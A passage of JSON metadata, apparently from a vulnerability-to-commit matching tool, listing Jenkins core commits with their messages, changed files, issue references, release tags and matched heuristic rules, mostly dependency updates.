], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8876", + "relevance": 2 + } + ] + }, + { + "commit_id": "f6febb1cabfbe0b636861f5d688514dc49493169", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706129174, + "hunks": 5, + "message": "Update dependency prettier to v3.2.1 (#8868) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Tim Jacomb ", + "changed_files": [ + "war/.babelrc", + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8868": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8868", + "relevance": 2 + } + ] + }, + { + "commit_id": "9f8d343f057e3f3ea988684b9dab509d64999a20", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706129117, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:junit from 1252.vfc2e5efa_294f to 1256.v002534a_5f33e (#8869) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8869": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8869", + "relevance": 2 + } + ] + }, + { + "commit_id": "7a93bc5c9da4db554531195c37e9dad8415280c0", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705331625, + "hunks": 4, + "message": "Update dependency mini-css-extract-plugin to v2.7.7 (#8865) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8865": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8865", + "relevance": 2 + } + ] + }, + { + "commit_id": "48661db9d1dad55af5300d3783b2834a7b15c41f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705158573, + "hunks": 1, + "message": "[JENKINS-72543] Fix permission check in script console view (#8858) Co-authored-by: Daniel Beck Co-authored-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/resources/lib/hudson/scriptConsole.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8858": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8858", + "relevance": 2 + } + ] + }, + { + "commit_id": "6f6d99af8426c1c5878a210eb38836c7b41c3363", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705116995, + "hunks": 1, + "message": "Update dependency lit to v3.1.1 (#8863) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "core/src/site/site.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8863": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8863", + "relevance": 2 + } + ] + }, + { + "commit_id": "d36cf82d91b7a58fa6e1150ad5da90791beed339", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705114855, + "hunks": 2, + "message": "Rely on parent pom spotbugs configuration (#8855) Rely on spotbugs configuration from parent pom Removes the 81c3249ca0e6bcc69e1caa2e6828ec6c8c0884cd workaround that was added in pull request https://github.com/jenkinsci/jenkins/pull/8803", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8855": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8855", + "relevance": 2 + } + ] + }, + { + "commit_id": "7540c95767604c1d1ae0226bc8f086aa733fa2eb", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705114829, + "hunks": 11, + "message": "Update dependency css-loader to v6.9.0 (#8862) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8862": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8862", + "relevance": 2 + } + ] + }, + { + "commit_id": "e7e673d691bb0897db211ea4cdf4a22ab0f3f711", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705114818, + "hunks": 4, + "message": "Update dependency style-loader to v3.3.4 (#8861) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8861": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8861", + "relevance": 2 + } + ] + }, + { + "commit_id": "53f7e40b198aa34b0089a325eca372aa1e216131", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705114805, + "hunks": 3, + "message": "do not generate td when outside table for buildbutton (#8854) projectView renders a buildButton twice once inside a table for wide screens and once outside a table for narrow or mobile screens with one always hidden. But the buildButton always wraps everything in a `td`. When projectView is now itself wrapped somewhere in a table (was done in dashboard-view plugin) then the brwoser will move the `td` to the outer table and it gets always shown and breaks the UI.", + "changed_files": [ + "core/src/main/resources/hudson/views/BuildButtonColumn/column.jelly", + "core/src/main/resources/lib/hudson/projectView.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8854": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8854", + "relevance": 2 + } + ] + }, + { + "commit_id": "dd7488bc9062afe514254652ec8e4a29843fb125", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705090541, + "hunks": 1, + "message": "Increase memory for war assembly (#8856)", + "changed_files": [ + ".mvn/jvm.config" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8856": "Test Linux with JDK 21 #8848 Intermittent out of memory for Java 21 builds of Jenkins core on ci.jenkins.io jenkins-infra/helpdesk#3874" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8856", + "relevance": 2 + } + ] + }, + { + "commit_id": "214f042834a0cd3888037c791cec4783767bd931", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705056335, + "hunks": 1, + "message": "[JENKINS-66530] Change focus in the 'new item' page only if 'from' has a valid job name (#8807) * JENKINS-66530: setTimeout/focus switch to 'name' only if field 'from' points to a valid job name * yarn prettier for add-item.js", + "changed_files": [ + "war/src/main/js/add-item.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8807": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8807", + "relevance": 2 + } + ] + }, + { + "commit_id": "7ed8c33d04c732c623fc0309db10442c7f2a83f1", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705056094, + "hunks": 9, + "message": "Update dependency @babel/preset-env to v7.23.8 (#8859) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8859": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8859", + "relevance": 2 + } + ] + }, + { + "commit_id": "5da5ac7e62568908fa29ff8265c696cc6e4c7032", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704829475, + "hunks": 1, + "message": "Bump SLF4J from 2.0.10 to 2.0.11 (#8846) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8846": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8846", + "relevance": 2 + } + ] + }, + { + "commit_id": "9865a3580b82f465280a83c777400c3ec3c060a6", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704829372, + "hunks": 1, + "message": "Bump org.jenkins-ci.main:remoting from 3203.v94ce994fdb_31 to 3206.vb_15dcf73f6a_9 (#8847) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8847": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8847", + "relevance": 2 + } + ] + }, + { + "commit_id": "004e72746a2732be97263c9a6099bc870f3dbe6c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704791091, + "hunks": 4, + "message": "Update dependency postcss to v8.4.33 (#8841) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8841": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8841", + "relevance": 2 + } + ] + }, + { + "commit_id": "1eb29a879216fa7418724d08d5e9ed212ecd0709", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704739530, + "hunks": 1, + "message": "Bump org.jenkins-ci.main:remoting from 3198.v03a_401881f3e to 3203.v94ce994fdb_31 (#8836) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8836": "Improve remoting documentation jenkins-infra/jenkins.io#6994" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8836", + "relevance": 2 + } + ] + }, + { + "commit_id": "50bc384abde662cf395dc6580f94c7e85303377e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704706933, + "hunks": 24, + "message": "Fill in since todo (#8839)", + "changed_files": [ + "core/src/main/java/hudson/ExtensionList.java", + "core/src/main/java/hudson/Functions.java", + "core/src/main/java/hudson/model/BuildTimelineWidget.java", + "core/src/main/java/hudson/model/View.java", + "core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java", + "core/src/main/java/hudson/node_monitors/DiskSpaceMonitorDescriptor.java", + "core/src/main/java/hudson/node_monitors/DiskSpaceMonitorNodeProperty.java", + "core/src/main/java/jenkins/console/ConsoleUrlProvider.java", + "core/src/main/java/jenkins/console/ConsoleUrlProviderGlobalConfiguration.java", + "core/src/main/java/jenkins/console/ConsoleUrlProviderUserProperty.java", + "core/src/main/java/jenkins/console/DefaultConsoleUrlProvider.java", + "core/src/main/java/jenkins/model/Loadable.java", + "core/src/main/java/jenkins/model/PeepholePermalink.java", + "core/src/main/java/jenkins/security/FIPS140.java", + "core/src/main/java/jenkins/util/DefaultScriptListener.java", + "core/src/main/java/jenkins/util/ScriptListener.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8839": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + 